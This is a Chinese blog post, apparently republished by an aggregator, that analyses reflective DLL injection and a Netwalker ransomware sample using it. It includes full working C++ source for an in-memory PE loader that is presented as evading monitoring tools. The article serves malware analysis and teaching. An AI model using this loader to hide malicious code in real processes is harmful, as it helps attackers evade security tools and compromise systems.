dll oem證書導入工具_技術干貨 | 惡意代碼分析之反射型DLL注入

1d21f7e71b02822d39fe13351dca4def.png

歡迎各位添加微信號:qinchang_198231 ?

加入安全+ 交流群 和大佬們一起交流安全技術

01

技術概要

這是一種允許攻擊者從內存而非磁盤向指定進程注入DLL的技術,該技術比常規的DLL注入更為隱蔽,因為除了不需要磁盤上的實際DLL文件之外,它也不需要任何Windows加載程序的輔助即可注入。這消除了將DLL注冊為進程已加載模塊的需求,從而可逃脫工具的監視。

首先準備好測試dll,使用VS2015先編譯生成一個測試dll文件,作用是dll被進程附加的時候會執行MessageBox彈框,切記不要選擇空項目。如下,在DLL_PROCESS_ATTACH添加一個消息框函數,直接編譯生成dll。

5df0f8426ecb89ba18feb4314035567f.png

下面會根據源碼逐步分析整體執行流程,示例代碼是模擬內存自加載dll的過程,為了演示所以采用了比較簡單的方式,dll文件生成后放在在本地,而真實案例中惡意代碼會存在母體文件的內存中,因為需要不落地內存加載。

先聲明相應的結構體變量,采用指定位數的方式指定結構體變量實際占用的位數(根據重定位表的特性),聲明一個函數指針便于后續進行調用執行dll入口。

ccd5adb446fb40c1a9167f35d67e2858.png

第一步先通過GetModuleHandleA獲取基址,避免ASLR隨機基址影響,讀取dll文件內容加載至內存中,通過PE結構獲取實際加載至內存中dll的PE頭部數據。

ef72fdec6fd03e9d3c94066a17469b8c.png

分配dll加載時所需的內存空間,獲取加載基址與預期基址的差值,接著復制dll頭部數據至新的內存空間。

3181dd22a0296d2bbc7ffc918a2d09de.png

開始模擬Windows加載器功能加載PE文件至內存,如下。

e0c63beeaf960919ab965634ae68dd7e.png

02

PE文件重定位

基址重定位表位于PE頭的IMAGE_NT_HEADERS/IMAGE_OPTION_HEADER/IMAGE_DATA_DIRECTORY[5],換句話說重定位表位于可選頭的數據目錄表下的第六項,基址重定位表中記錄硬編碼地址的位置(偏移),使用這張表就能獲得準確的硬編碼地址偏移并后續對其修正。重定位表是按照一個物理頁(4kb或1000H)進行存儲的,也就是一個重定位塊負責一個4kb內存頁,一個重定位表只管自己當前的物理頁重定位。一個重定位表的記錄偏移的大小是2個字節(1000H最多需要12bit即可0~FFFH),也就是16位,而記錄偏移的大小是由SizeofBlock決定的。

如何修正?

將指令中的操作數按照指針字節數讀取出來,然后將其減去默認加載基址(擴展頭中的字段ImageBase),再加上新的加載基址,最后把新地址存入原來的地址中。

2f3f5831c3db8ba6d068dde58bec4912.png

重定位工作完成之后,進行導入表的解析。

acb7da731f26967f0c4713301f390210.png

以上工作準備完畢之后,就已經模擬內存加載完成,之后獲取dll文件入口點進行執行,利用了之前聲明的函數指針。

defc38494570a167c8a64361242a13bf.png

03

示例源碼

#include

#include

typedef struct BASE_RELOCATION_BLOCK {

???????DWORD PageAddress;

???????DWORD BlockSize;

} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {

???????USHORT Offset : 12;

???????USHORT Type : 4;

} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

using DLLEntry = BOOL(WINAPI *)(HINSTANCE dll, DWORD reason, LPVOID reserved);

int main()

{

???????//得到當前模塊的基址

???????PVOID imageBase = GetModuleHandleA(NULL);

???????//本地加載dll內容至內存中

???????HANDLE dll =??CreateFileA("C:\\Users\\onion\\Desktop\\dll\\Release\\dll.dll", GENERIC_READ,??NULL, NULL, OPEN_EXISTING, NULL, NULL);

???????DWORD64 dllSize = GetFileSize(dll, NULL);

???????LPVOID dllBytes = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllSize);

???????DWORD outSize = 0;

???????ReadFile(dll, dllBytes, dllSize, &outSize, NULL);

???????//獲取已加載至內存中的dll的頭部數據

???????PIMAGE_DOS_HEADER dosHeaders = (PIMAGE_DOS_HEADER)dllBytes;

???????PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBytes +??dosHeaders->e_lfanew);

???????SIZE_T dllImageSize = ntHeaders->OptionalHeader.SizeOfImage;

???????//分配dll加載時所需的內存空間

???????LPVOID dllBase = VirtualAlloc((LPVOID)ntHeaders->OptionalHeader.ImageBase,??dllImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

???????//得到實際分配的內存基址與預期的基址差值,便于后續進行重定向

???????DWORD_PTR deltaImageBase = (DWORD_PTR)dllBase -??(DWORD_PTR)ntHeaders->OptionalHeader.ImageBase;

???????//將dll頭部數據復制到分配的內存空間

???????std::memcpy(dllBase, dllBytes, ntHeaders->OptionalHeader.SizeOfHeaders);

???????//加載節區數據至新的內存空間

???????PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);

???????for (size_t i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)

???????{

??????????????LPVOID sectionDestination = (LPVOID)((DWORD_PTR)dllBase +??(DWORD_PTR)section->VirtualAddress);

??????????????LPVOID sectionBytes = (LPVOID)((DWORD_PTR)dllBytes +??(DWORD_PTR)section->PointerToRawData);

??????????????std::memcpy(sectionDestination, sectionBytes,??section->SizeOfRawData);

??????????????section++;

???????}

???????// 開始dll加載實現重定位

???????IMAGE_DATA_DIRECTORY relocations =??ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

???????DWORD_PTR relocationTable = relocations.VirtualAddress +??(DWORD_PTR)dllBase;

???????DWORD relocationsProcessed = 0;

???????while (relocationsProcessed < relocations.Size)

???????{

??????????????PBASE_RELOCATION_BLOCK relocationBlock =??(PBASE_RELOCATION_BLOCK)(relocationTable + relocationsProcessed);

??????????????relocationsProcessed += sizeof(BASE_RELOCATION_BLOCK);

??????????????DWORD relocationsCount = (relocationBlock->BlockSize -??sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);

??????????????PBASE_RELOCATION_ENTRY relocationEntries =??(PBASE_RELOCATION_ENTRY)(relocationTable + relocationsProcessed);

??????????????for (DWORD i = 0; i < relocationsCount; i++)

??????????????{

?????????????????????relocationsProcessed += sizeof(BASE_RELOCATION_ENTRY);

?????????????????????if (relocationEntries[i].Type == 0)

?????????????????????{

???????????????????????????continue;

?????????????????????}

?????????????????????DWORD_PTR relocationRVA = relocationBlock->PageAddress +??relocationEntries[i].Offset;

?????????????????????DWORD_PTR addressToPatch = 0;

?????????????????????ReadProcessMemory(GetCurrentProcess(),??(LPCVOID)((DWORD_PTR)dllBase + relocationRVA), &addressToPatch, sizeof(DWORD_PTR),??NULL);

?????????????????????addressToPatch += deltaImageBase;

?????????????????????std::memcpy((PVOID)((DWORD_PTR)dllBase + relocationRVA),??&addressToPatch, sizeof(DWORD_PTR));

??????????????}

???????}

???????//解析導入表

???????PIMAGE_IMPORT_DESCRIPTOR importDescriptor = NULL;

???????IMAGE_DATA_DIRECTORY importsDirectory =??ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

???????importDescriptor =??(PIMAGE_IMPORT_DESCRIPTOR)(importsDirectory.VirtualAddress + (DWORD_PTR)dllBase);

???????LPCSTR libraryName = "";

???????HMODULE library = NULL;

???????while (importDescriptor->Name != NULL)

???????{

??????????????libraryName = (LPCSTR)importDescriptor->Name + (DWORD_PTR)dllBase;

??????????????library = LoadLibraryA(libraryName);

??????????????if (library)

??????????????{

?????????????????????PIMAGE_THUNK_DATA thunk = NULL;

?????????????????????thunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)dllBase +??importDescriptor->FirstThunk);

?????????????????????while (thunk->u1.AddressOfData != NULL)

?????????????????????{

???????????????????????????if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))

???????????????????????????{

??????????????????????????????????LPCSTR functionOrdinal =??(LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);

??????????????????????????????????thunk->u1.Function =??(DWORD_PTR)GetProcAddress(library, functionOrdinal);

???????????????????????????}

???????????????????????????else

???????????????????????????{

??????????????????????????????????PIMAGE_IMPORT_BY_NAME functionName =??(PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)dllBase + thunk->u1.AddressOfData);

??????????????????????????????????DWORD_PTR functionAddress =??(DWORD_PTR)GetProcAddress(library, functionName->Name);

??????????????????????????????????thunk->u1.Function = functionAddress;

???????????????????????????}

???????????????????????????++thunk;

?????????????????????}

??????????????}

??????????????importDescriptor++;

???????}

???????//執行加載的dll

???????DLLEntry DllEntry = (DLLEntry)((DWORD_PTR)dllBase +??ntHeaders->OptionalHeader.AddressOfEntryPoint);

???????(*DllEntry)((HINSTANCE)dllBase, DLL_PROCESS_ATTACH, 0);

???????CloseHandle(dll);

???????HeapFree(GetProcessHeap(), 0, dllBytes);

???????return 0;

}

04

整個流程

1、讀入原始DLL文件至內存緩沖區;

2、解析DLL標頭并獲取SizeOfImage;

3、為DLL分配新的內存空間,大小為SizeOfImage;

4、將DLL標頭和PE節復制到步驟3中分配的內存空間;

5、執行重定位;

6、加載DLL導入的庫;

7、解析導入地址表(IAT);

8、調用DLL的DLL_PROCESS_ATTACH;

05

演示效果

a163eb2974a83a9a9620aef74e862e73.gif

06

真實案例

Netwalker勒索軟件dll自加載技術

惡意文件是一個混淆并加密過的PowerShell腳本,先對PowerShell腳本進行解混淆。解混淆后的內容如下,字節序列中的0x4d、0x5a明顯是一個PE文件標志頭,一旦加載執行后,這部分內容就在內存中了。

4b9ec76e911458dadd9ee7ca98e9d84b.png

明顯的C#代碼模擬解析PE結構,如下。

d53904ddfa7838f00e94241e0e9bf1f7.png

執行自加載執行,如下。

2682bb91d52a670e2fc1544b6151771e.png0c92db184aadd95c70063096578a5372.png

更詳細的內容可去除混淆后自行查看,該勒索樣本實現的反射加載過程非常明顯。加載執行后,通過模擬加載dll并調用導出函數Do后進而實現注入目標進程,類似的技術則與開源項目PowerSploit中的反射自加載的Mimikatz腳本實現相類似。

07

參考

https://ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection

https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1

d1f36e8de6cf04c84f6f7983b8d97524.png

583c001bb01f48bde049b8c408a2f290.png

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/394733.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/394733.shtml
英文地址,請注明出處:http://en.pswp.cn/news/394733.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

像程序員一樣思考_如何像程序員一樣思考-解決問題的經驗教訓

像程序員一樣思考by Richard Reis理查德里斯(Richard Reis) 如何像程序員一樣思考-解決問題的經驗教訓 (How to think like a programmer — lessons in problem solving) If you’re interested in programming, you may well have seen this quote before:如果您對編程感興趣…

CF908G New Year and Original Order 數位DP

傳送門 看到數據范圍到\(10^{700}\)毫無疑問數位DP。那么我們最重要的問題是如何有效地維護所有數位排序之后的數的值。 對于某一個數\(x\)&#xff0c;設\(f_{x,i} (i \in [1,9])\)表示\(x\)中的所有數位的值\(\geq i\)的數位數量&#xff0c;比如說\(f_{6345982 , 7} 2 , f_…

銳捷亮相GITC:請互聯網企業為我點個贊!

【51CTO.com原創稿件】GITC全球互聯網技術大會已成功舉辦四屆&#xff0c;今年的會議現場依然是摩肩接踵圍觀者眾。圍繞互聯網熱點技術&#xff0c;眾人根據云、大數據、安全、運維、基礎架構的不同主題&#xff0c;各自聚成小圈子展開深入交流。 銳捷的展位在主會場的內側&…

c語言匯編混合編程方法,C語言和匯編語言混合編程方法

摘要&#xff1a; C語言是一種高級的面向過程的開發語言&#xff0c;匯編語言是一種低級的面向機器的編程語言。兩者在程序設計開發方面各有優劣&#xff0c;目前兩者的混合編程得到了廣泛的應用。本文通過具體的實例&#xff0c;說明了混合編程的基本方法&#xff0c;為C語言應…

WPF Slider設置整數

IsSnapToTickEnabled"True" 轉載于:https://www.cnblogs.com/Fred1987/p/6038608.html

api代理提取_了解提取API

api代理提取Interested in learning JavaScript? Get my ebook at jshandbook.com有興趣學習JavaScript嗎&#xff1f; 在jshandbook.com上獲取我的電子書 Since IE5 was released in 1998, we’ve had the option to make asynchronous network calls in the browser using X…

react.lazy 路由懶加載_React lazy/Suspense使用及源碼解析

React v16.6.0已經發布快一年了&#xff0c;為保障項目迭代發布&#xff0c;沒有及時更新react版本&#xff0c;最近由于開啟了新項目&#xff0c;于是使用新的react版本進行了項目開發。項目工程如何搭建&#xff0c;如何滿足兼容性要求&#xff0c;如何規范化等等這里不作為介…

Dart編程語言入門

Dart基礎入門語法介紹&#xff0c;詳細說明可以查看相關視頻《Dart編程語言入門》。 變量與常量 變量 1.使用 var 聲明變量,默認值為 null var a;//null a 10;2.顯示類型聲明 int a;//null a 10;3.使用 var 聲明&#xff0c;可賦予不同類型的值 var a; //null a 10; //int a…

《PHP精粹:編寫高效PHP代碼》——1.1節為什么要使用面向對象編程

本節書摘來自華章社區《PHP精粹&#xff1a;編寫高效PHP代碼》一書中的第1章&#xff0c;第1.1節為什么要使用面向對象編程&#xff0c;作者&#xff1a;&#xff08;美&#xff09;  Davey Shafik&#xff0c;更多章節內容可以訪問云棲社區“華章社區”公眾號查看 1.1 為什…

c語言數據結構系統化,C語言數據結構+數據庫+操作系統

http://cv.qiaobutang.com/post/55c419b20cf2009bd4607795第二部分是專業相關的C &#xff0c;數據庫&#xff0c;操作系統&#xff0c;數據結構。http://c.biancheng.net/cpp/u/shuju/數據(Data)是信息的載體&#xff0c;它能夠被計算機識別、存儲和加工處理。它是計算機程序加…

c語言判斷一個序列是不是另一個的子序列

1 #include <stdio.h>2 #include <string.h>//添加字符串頭文件3 4 int Subsequence(char s[], char t[]) 5 {6 int m,n,i,j;7 n strlen(s); //n表示序列S的長度8 m strlen(t); //m表示序列T的長度9 i0; 10 j0; 11 if (m>…

linux中python如何調用matlab的數據_特征錦囊:如何在Python中處理不平衡數據

今日錦囊特征錦囊&#xff1a;如何在Python中處理不平衡數據? Index1、到底什么是不平衡數據2、處理不平衡數據的理論方法3、Python里有什么包可以處理不平衡樣本4、Python中具體如何處理失衡樣本印象中很久之前有位朋友說要我寫一篇如何處理不平衡數據的文章&#xff0c;整理…

源碼安裝zabbix遇到的報錯集錦

報錯1&#xff1a;checking for mysql_config... configure: error: MySQL library not found 解決辦法&#xff1a;查找mysql_config #find / -name "mysql_config*" /usr/local/mysql/bin/mysql_config 在配置時將原有的 --with-mysql 改為 --with-mysql/usr/loca…

pso算法c++語言代碼,一C++PSO(PSO)算法

收集和變化PSO算法&#xff0c;它可用于參考實施&#xff1a;#include #include #include #include #include #define rand_01 ((float)rand() / (float)RAND_MAX)const int numofdims 30;const int numofparticles 50;using namespace std;//typedef void (*FitnessFunc)(fl…

Hadoop不適合哪些場景 哪些場景適合?

Hadoop設計的目的主要包括下面幾個方面&#xff0c;也就是所謂的適用場景&#xff1a; 1&#xff1a;超大文件 可以是幾百M&#xff0c;幾百T這個級別的文件。 2&#xff1a;流式數據訪問 Hadoop適用于一次寫入&#xff0c;多次讀取的場景&#xff0c;也就是數據復制進去之后&a…

微服務 邊界服務_遵循這些實用原則以獲取精心設計的微服務邊界

微服務 邊界服務by Jake Lumetta杰克盧米塔(Jake Lumetta) 遵循這些實用原則以獲取精心設計的微服務邊界 (Follow these practical principles to get well-designed microservices boundaries) 如何避免使微服務太小和緊密耦合 (How to avoid making your microservices too …

ShareEntryActivity java.lang.ClassNotFoundException | Android類找不到問題

錯誤堆棧&#xff1a; Process: com.mci.smagazine, PID: 23265java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.mci.smagazine/com.mci.smagazine.apshare.ShareEntryActivity}: java.lang.ClassNotFoundException: com.mci.smagazine.apshare…

阿里Android p6準備,項目經歷準備篇——如何準備阿里巴巴P6/P7前端面試

項目經歷準備篇——如何準備阿里巴巴P6/P7前端面試在上次的校招文章之后&#xff0c;有很多同學問有沒有社招相關的東西可以寫一篇&#xff0c;現在它來了。比起校招&#xff0c;社招更加看重項目經歷項目經歷反應的思考。本文針對的是想進入阿里的P6/P7同學&#xff0c;著重講…

for in for of區別_Python 第4課:for…in循環黃金搭檔之range()函數

樂學趣學Py● 04&#xff1a;for…in循環黃金搭檔之range()函數●Python趣味小百科Python中的繪圖模塊為什么叫Turtle海龜&#xff0c;而不是cat ,dog,bird呢&#xff1f;原來Python引用了麻省理工大學教授開發的logo海龜制圖語言,能通過繪圖直觀地教大家學習編程。實踐是最好的…

《游戲設計師修煉之道:數據驅動的游戲設計》一3.8小結

3.8小結 在玩游戲期間使用的數學知識通常相當簡單&#xff0c;盡管代碼中使用的數學知識可能非常復雜。玩家不希望由于在玩游戲期間不得不處理許多數字而分心&#xff0c;因為他們的大腦必須從控制角色的動作轉換到記住數字的含義。許多游戲回避了數字&#xff0c;而是通過像計…